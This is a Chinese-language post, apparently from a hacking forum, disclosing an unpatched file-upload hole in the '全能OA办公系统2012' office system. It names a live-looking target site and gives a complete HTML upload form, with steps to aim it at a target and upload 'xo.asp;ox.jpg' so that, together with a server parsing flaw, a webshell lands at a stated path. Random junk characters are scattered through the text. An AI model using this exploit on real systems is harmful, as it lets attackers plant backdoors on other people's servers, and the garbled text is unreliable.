全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
1 G) n2 g& d6 {  g+ L/ G
6 s6 Q4 g% Z  ?! d全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

- M7 x5 z& M+ F3 P( b" G' d4 L7 e主要功能：
9 ^) }7 m8 M9 O6 D公司通告
; C5 R& m% J2 V/ |7 N4 \* m! b工作计划
1 I) k  _/ [4 A通讯助理
客户资源
我的公文
公文传阅
% F- z; t/ R/ [) y' B/ K公共资源
资源预约
今日考勤
" J$ |. e7 M2 b2 _个人计划
个人通讯录
个人基本档案
未读邮件
发邮件
9 u+ [% i- G$ f. o2 S收件夹
6 ]& l% {2 [( m, ~寄件夹
7 h6 Q4 Z; Q+ S/ D0 a. T2 x5 W, q网络硬盘
网络会议
8 W. k3 O! D# l% i* c# w* I9 G- |网络调查
交流论坛

3 z+ ]' X4 ]6 v% P& h有兴趣测试的朋友可以下源码看看
9 `* v8 I$ e( p
9 y+ a2 P8 n" f' k源码下载：
" Q- Y, R. n4 c. s4 h% U
http://www.mycodes.net/30/4750.htm

漏洞介绍：

( f3 l5 u; v: S由upfile.asp上传文件漏洞引起
1 R- a* F8 p& e" f" z9 y
测试方法：
$ F" j. M: K* v2 @0 ^9 {3 }7 G- q
使用名小子上传http://www.itlynn.com/upfile.asp即可

如果upfile.asp文件被删除不存在。

/ v1 [/ n; Y/ G  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

! d& m' Q  k7 X( c如果存在那么将如下代码保存为upfile.html。
* t/ g0 G+ X3 f7 B4 @) o6 l
" A8 P' Z6 O: Q" ]$ f- F% ]- A然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。
' |5 {  K* P* B


01 <table border='0' align="center" cellpadding="5">
: f. s: Y$ ]  H
. f& y  E! a4 x! z. ~( ~4 }02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

' e9 S& z. x+ c3 c+ n# K2 M04             <td>报错：</td>
, H5 m; n. x. s& H$ q" a$ O
: N* O- Z# {3 {* {' k: e05             <td><input type='radio' name='errnumber' value='0'>
7 @+ x9 I3 B2 U* Z/ X& J1 F7 p
" s  y' k( L6 ?. j, N06               自动更名
3 Q  m- [2 z& Y6 h- `
. A! j$ T1 g* J07               <input type='radio' name='errnumber' value='1' checked>
4 W! G5 B( x/ ]! ]0 _/ |  E2 T9 j
) l7 ]) y. }4 E  B# v08               报错方式
% C' _7 x9 G: z) L- A, w, h. g
09               <input type='radio' name='errnumber' value='2'>

0 G. b( w$ v5 B: n) S  K10               直接覆盖</td>

11           </tr>

12           <tr>

$ f, h3 C6 z  t7 M1 u6 Z  [- d, n13             <td>主题：</td>

: M9 D7 d; I! e% D6 D$ v3 T4 X4 w+ s14             <td><input type='text' name='filename' size='30'></td>

15           </tr>
4 B2 Z: _& H# ~: N% h
16           <tr>

, ~1 a' ]4 B  Z+ b17             <td>文件：</td>
; \) a7 y$ O! {3 q( X1 V5 h
18             <td><input type="file"name="fruit"size="30"></td>
% R3 j1 c* F# K  J3 ]4 g& D
) t$ C+ ]! `/ e0 X19           </tr>

20           <tr>
5 M* S3 f; l, A1 r' x
21             <td valign='top'>简介：</td>

. Q& n0 N! ~0 X* }22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
3 x, L" l6 g0 [& l; p% y2 t
23           </tr>
: b7 i+ v4 ?0 O7 y
6 u4 e; M+ j  `# p) i8 f, H2 Z24   
: l+ r2 _/ [- U6 V$ l
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

; i# u- x/ C& C+ U8 M+ D: H26           </tr>

27         </form>
, P& ?8 _. d) ?5 A* t
- v+ U1 i, K6 E" o, }1 f% [6 v然后打开上传一个文件名为xo.asp;ox.jpg的文件。

- T1 Z) @5 Y7 h$ G1 v0 g

上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
- O* M" g  s  K# z
此漏洞需要配合解析漏洞利用。
* m+ A; u7 ~, Q- R: X
, ^( _" t6 F! s* O; }- {. i